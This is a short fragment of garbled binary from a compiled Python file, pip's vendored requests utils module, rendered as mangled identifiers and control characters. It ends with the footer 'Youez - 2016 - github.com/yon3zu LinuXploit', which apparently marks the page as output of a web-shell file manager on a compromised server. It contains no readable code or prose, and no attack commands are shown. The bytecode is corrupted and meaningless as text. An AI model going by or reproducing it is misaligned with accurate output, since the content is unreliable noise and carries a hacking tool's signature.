RRR
RRRRtcookiesRt
structuresRt
exceptionsRRRRRRtwheretDEFAULT_CA_BUNDLE_PATHt
DEFAULT_PORTStsystemR4R8RMR(RfRmRrRvR}RRyR�R�R�R�R�R�R�t	frozensetR�R�R�R�R�R�R�tcontextmanagerR�R�R?R�R�R�R�R�tencodeRRRR
RRR�RRRRR!(((s>/usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pyt<module>	s�^"	!			=3				 	#						
	%
							9				"

	 				

Youez - 2016 - github.com/yon3zu
LinuXploit